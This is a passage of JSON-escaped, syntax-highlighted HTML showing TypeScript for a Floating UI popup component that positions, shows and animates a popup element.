class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Elements\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e: \u003cspan class=\"kt\"\u003eHTMLElement\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003esetDomElements\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`[data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;]`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecreateElement\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;div\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eassign\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eposition\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;absolute\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eopacity\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etop\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eleft\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003escale\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0.95\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003edisplay\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eclassList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;transition-all\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;duration-100\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;ease-in-out\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetDomElements\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"c1\"\u003e// init\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Render Floating UI Popup\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Error handling for required Floating UI modules\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`The data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34; element was not found.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomputePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;computePosition\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;offset\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eshift\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;shift\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eflip\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;flip\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Floating UI Compute Position\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/computePosition\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003ecomputePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eplacement\u003c/span\u003e: \u003cspan class=\"kt\"\u003eargs.placement\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Middleware - NOTE: the order matters:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/middleware#ordering\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/offset\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/shift\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eshift\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eshift\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003epadding\u003c/span\u003e: \u003cspan class=\"kt\"\u003e8\u003c/span\u003e \u003cspan class=\"p\"\u003e}),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/flip\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eflip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eflip\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}).\u003c/span\u003e\u003cspan class=\"nx\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e(({\u003c/span\u003e \u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ey\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eassign\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eleft\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003epx`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etop\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003epx`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// State Handlers\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Set open state to on\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return the current state\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e: \u003cspan class=\"kt\"\u003epopupState.open\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Update render settings\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Update the DOM\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edisplay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;block\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopacity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escale\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epointerEvents\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;auto\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Trigger Floating UI autoUpdate (open only)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/autoUpdate\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan 